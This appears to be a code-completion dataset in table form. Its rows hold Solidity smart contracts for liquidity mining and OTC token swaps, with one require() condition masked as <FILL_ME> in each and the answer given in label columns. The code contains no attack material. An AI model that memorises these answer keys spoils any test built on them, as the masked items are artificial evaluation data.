comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
---|---|---|---|---|
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
contract CentaurLiquidityMining is Ownable {
using SafeMath for uint;
// Events
event Deposit(uint256 _timestmap, address indexed _address, uint256 indexed _pid, uint256 _amount);
event Withdraw(uint256 _timestamp, address indexed _address, uint256 indexed _pid, uint256 _amount);
event EmergencyWithdraw(uint256 _timestamp, address indexed _address, uint256 indexed _pid, uint256 _amount);
// CNTR Token Contract & Funding Address
IERC20 public constant CNTR = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B);
address public fundingAddress = 0xf6B13425d1F7D920E3F6EF43F7c5DdbC2E59AbF6;
struct LPInfo {
// Address of LP token contract
IERC20 lpToken;
// LP reward per block
uint256 rewardPerBlock;
// Last reward block
uint256 lastRewardBlock;
// Accumulated reward per share (times 1e12 to minimize rounding errors)
uint256 accRewardPerShare;
}
struct Staker {
// Total Amount Staked
uint256 amountStaked;
// Reward Debt (pending reward = (staker.amountStaked * pool.accRewardPerShare) - staker.rewardDebt)
uint256 rewardDebt;
}
// Liquidity Pools
LPInfo[] public liquidityPools;
// Info of each user that stakes LP tokens.
// poolId => address => staker
mapping (uint256 => mapping (address => Staker)) public stakers;
// Starting block for mining
uint256 public startBlock;
// End block for mining (Will be ongoing if unset/0)
uint256 public endBlock;
/**
* @dev Constructor
*/
constructor(uint256 _startBlock) public {
}
/**
* @dev Contract Modifiers
*/
function updateFundingAddress(address _address) public onlyOwner {
}
function updateStartBlock(uint256 _startBlock) public onlyOwner {
}
function updateEndBlock(uint256 _endBlock) public onlyOwner {
}
/**
* @dev Liquidity Pool functions
*/
// Add liquidity pool
function addLiquidityPool(IERC20 _lpToken, uint256 _rewardPerBlock) public onlyOwner {
}
// Update LP rewardPerBlock
function updateRewardPerBlock(uint256 _pid, uint256 _rewardPerBlock) public onlyOwner {
}
// Update pool rewards variables
function updatePoolRewards(uint256 _pid) public {
}
/**
* @dev Stake functions
*/
// Deposit LP tokens into the liquidity pool
function deposit(uint256 _pid, uint256 _amount) public {
}
// Withdraw LP tokens from liquidity pool
function withdraw(uint256 _pid, uint256 _amount) public {
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
LPInfo storage pool = liquidityPools[_pid];
Staker storage user = stakers[_pid][msg.sender];
uint256 amount = user.amountStaked;
user.amountStaked = 0;
user.rewardDebt = 0;
require(<FILL_ME>)
emit EmergencyWithdraw(block.timestamp, msg.sender, _pid, amount);
}
// Function to issue rewards from funding address to user
function _issueRewards(address _to, uint256 _amount) internal {
}
// View function to see pending rewards on frontend.
function pendingRewards(uint256 _pid, address _user) external view returns (uint256) {
}
}
| pool.lpToken.transfer(msg.sender,amount) | 296,418 | pool.lpToken.transfer(msg.sender,amount) |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
contract CentaurLiquidityMining is Ownable {
using SafeMath for uint;
// Events
event Deposit(uint256 _timestmap, address indexed _address, uint256 indexed _pid, uint256 _amount);
event Withdraw(uint256 _timestamp, address indexed _address, uint256 indexed _pid, uint256 _amount);
event EmergencyWithdraw(uint256 _timestamp, address indexed _address, uint256 indexed _pid, uint256 _amount);
// CNTR Token Contract & Funding Address
IERC20 public constant CNTR = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B);
address public fundingAddress = 0xf6B13425d1F7D920E3F6EF43F7c5DdbC2E59AbF6;
struct LPInfo {
// Address of LP token contract
IERC20 lpToken;
// LP reward per block
uint256 rewardPerBlock;
// Last reward block
uint256 lastRewardBlock;
// Accumulated reward per share (times 1e12 to minimize rounding errors)
uint256 accRewardPerShare;
}
struct Staker {
// Total Amount Staked
uint256 amountStaked;
// Reward Debt (pending reward = (staker.amountStaked * pool.accRewardPerShare) - staker.rewardDebt)
uint256 rewardDebt;
}
// Liquidity Pools
LPInfo[] public liquidityPools;
// Info of each user that stakes LP tokens.
// poolId => address => staker
mapping (uint256 => mapping (address => Staker)) public stakers;
// Starting block for mining
uint256 public startBlock;
// End block for mining (Will be ongoing if unset/0)
uint256 public endBlock;
/**
* @dev Constructor
*/
constructor(uint256 _startBlock) public {
}
/**
* @dev Contract Modifiers
*/
function updateFundingAddress(address _address) public onlyOwner {
}
function updateStartBlock(uint256 _startBlock) public onlyOwner {
}
function updateEndBlock(uint256 _endBlock) public onlyOwner {
}
/**
* @dev Liquidity Pool functions
*/
// Add liquidity pool
function addLiquidityPool(IERC20 _lpToken, uint256 _rewardPerBlock) public onlyOwner {
}
// Update LP rewardPerBlock
function updateRewardPerBlock(uint256 _pid, uint256 _rewardPerBlock) public onlyOwner {
}
// Update pool rewards variables
function updatePoolRewards(uint256 _pid) public {
}
/**
* @dev Stake functions
*/
// Deposit LP tokens into the liquidity pool
function deposit(uint256 _pid, uint256 _amount) public {
}
// Withdraw LP tokens from liquidity pool
function withdraw(uint256 _pid, uint256 _amount) public {
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
}
// Function to issue rewards from funding address to user
function _issueRewards(address _to, uint256 _amount) internal {
// For transparency, rewards are transfered from funding address to contract then to user
// Transfer rewards from funding address to contract
require(<FILL_ME>)
// Transfer rewards from contract to user
require(CNTR.transfer(_to, _amount));
}
// View function to see pending rewards on frontend.
function pendingRewards(uint256 _pid, address _user) external view returns (uint256) {
}
}
| CNTR.transferFrom(fundingAddress,address(this),_amount) | 296,418 | CNTR.transferFrom(fundingAddress,address(this),_amount) |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
contract CentaurLiquidityMining is Ownable {
using SafeMath for uint;
// Events
event Deposit(uint256 _timestmap, address indexed _address, uint256 indexed _pid, uint256 _amount);
event Withdraw(uint256 _timestamp, address indexed _address, uint256 indexed _pid, uint256 _amount);
event EmergencyWithdraw(uint256 _timestamp, address indexed _address, uint256 indexed _pid, uint256 _amount);
// CNTR Token Contract & Funding Address
IERC20 public constant CNTR = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B);
address public fundingAddress = 0xf6B13425d1F7D920E3F6EF43F7c5DdbC2E59AbF6;
struct LPInfo {
// Address of LP token contract
IERC20 lpToken;
// LP reward per block
uint256 rewardPerBlock;
// Last reward block
uint256 lastRewardBlock;
// Accumulated reward per share (times 1e12 to minimize rounding errors)
uint256 accRewardPerShare;
}
struct Staker {
// Total Amount Staked
uint256 amountStaked;
// Reward Debt (pending reward = (staker.amountStaked * pool.accRewardPerShare) - staker.rewardDebt)
uint256 rewardDebt;
}
// Liquidity Pools
LPInfo[] public liquidityPools;
// Info of each user that stakes LP tokens.
// poolId => address => staker
mapping (uint256 => mapping (address => Staker)) public stakers;
// Starting block for mining
uint256 public startBlock;
// End block for mining (Will be ongoing if unset/0)
uint256 public endBlock;
/**
* @dev Constructor
*/
constructor(uint256 _startBlock) public {
}
/**
* @dev Contract Modifiers
*/
function updateFundingAddress(address _address) public onlyOwner {
}
function updateStartBlock(uint256 _startBlock) public onlyOwner {
}
function updateEndBlock(uint256 _endBlock) public onlyOwner {
}
/**
* @dev Liquidity Pool functions
*/
// Add liquidity pool
function addLiquidityPool(IERC20 _lpToken, uint256 _rewardPerBlock) public onlyOwner {
}
// Update LP rewardPerBlock
function updateRewardPerBlock(uint256 _pid, uint256 _rewardPerBlock) public onlyOwner {
}
// Update pool rewards variables
function updatePoolRewards(uint256 _pid) public {
}
/**
* @dev Stake functions
*/
// Deposit LP tokens into the liquidity pool
function deposit(uint256 _pid, uint256 _amount) public {
}
// Withdraw LP tokens from liquidity pool
function withdraw(uint256 _pid, uint256 _amount) public {
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
}
// Function to issue rewards from funding address to user
function _issueRewards(address _to, uint256 _amount) internal {
// For transparency, rewards are transfered from funding address to contract then to user
// Transfer rewards from funding address to contract
require(CNTR.transferFrom(fundingAddress, address(this), _amount));
// Transfer rewards from contract to user
require(<FILL_ME>)
}
// View function to see pending rewards on frontend.
function pendingRewards(uint256 _pid, address _user) external view returns (uint256) {
}
}
| CNTR.transfer(_to,_amount) | 296,418 | CNTR.transfer(_to,_amount) |
"ACOOTC:: Order taken or cancelled" | pragma solidity ^0.6.6;
pragma experimental ABIEncoderV2;
import "./OTCTypes.sol";
import "./ACOAssetHelper.sol";
import "./SafeMath.sol";
import "./IACOFactory.sol";
import "./IWETH.sol";
import "./IACOToken.sol";
/**
* @title ACOOTC
* @dev Contract to trade OTC on ACO tokens.
* Inspired on Swap SC by AirSwap, under Apache License, Version 2.0
* https://github.com/airswap/airswap-protocols/blob/master/source/swap/contracts/Swap.sol
*/
contract ACOOTC {
using SafeMath for uint256;
event Swap(
uint256 indexed nonce,
address indexed signer,
address indexed sender,
bool isAskOrder,
uint256 signerAmount,
address signerToken,
uint256 senderAmount,
address senderToken,
address affiliate,
uint256 affiliateAmount,
address affiliateToken
);
event Cancel(uint256 indexed nonce, address indexed signer);
event CancelUpTo(uint256 indexed nonce, address indexed signer);
event AuthorizeSender(address indexed authorizerAddress, address indexed authorizedSender);
event AuthorizeSigner(address indexed authorizerAddress, address indexed authorizedSigner);
event RevokeSender(address indexed authorizerAddress, address indexed revokedSender);
event RevokeSigner(address indexed authorizerAddress, address indexed revokedSigner);
//Domain and version for use in signatures (EIP-712)
bytes internal constant DOMAIN_NAME = "ACOOTC";
bytes internal constant DOMAIN_VERSION = "1";
// Unique domain identifier for use in signatures (EIP-712)
bytes32 private immutable _domainSeparator;
// Possible nonce statuses
bytes1 internal constant AVAILABLE = 0x00;
bytes1 internal constant UNAVAILABLE = 0x01;
// Address of the ACO Factory contract
IACOFactory public immutable acoFactory;
// Address of the WETH contract
IWETH public immutable weth;
// Mapping of sender address to a delegated sender address and bool
mapping(address => mapping(address => bool)) public senderAuthorizations;
// Mapping of signer address to a delegated signer and bool
mapping(address => mapping(address => bool)) public signerAuthorizations;
// Mapping of signers to nonces with value AVAILABLE (0x00) or UNAVAILABLE (0x01)
mapping(address => mapping(uint256 => bytes1)) public signerNonceStatus;
// Mapping of signer addresses to an optionally set minimum valid nonce
mapping(address => uint256) public signerMinimumNonce;
/**
* @notice Contract Constructor
* @dev Sets domain for signature validation (EIP-712) and the ACO Factory and WETH
* @param _acoFactory ACO Factory address
* @param _weth WETH address
*/
constructor(address _acoFactory, address _weth) public {
}
/**
* @notice Receive ETH from WETH contract
*/
receive() external payable {
}
/**
* @notice Atomic Token Swap for an Ask Order
* @param order OTCTypes.AskOrder Order to settle
*/
function swapAskOrder(OTCTypes.AskOrder calldata order) external {
}
/**
* @notice Atomic Token Swap for a Bid Order
* @param order OTCTypes.BidOrder Order to settle
*/
function swapBidOrder(OTCTypes.BidOrder calldata order) external {
}
/**
* @notice Cancel one or more open orders by nonce
* @dev Cancelled nonces are marked UNAVAILABLE (0x01)
* @dev Emits a Cancel event
* @dev Out of gas may occur in arrays of length > 400
* @param nonces uint256[] List of nonces to cancel
*/
function cancel(uint256[] calldata nonces) external {
}
/**
* @notice Cancels all orders below a nonce value
* @dev Emits a CancelUpTo event
* @param minimumNonce uint256 Minimum valid nonce
*/
function cancelUpTo(uint256 minimumNonce) external {
}
/**
* @notice Authorize a delegated sender
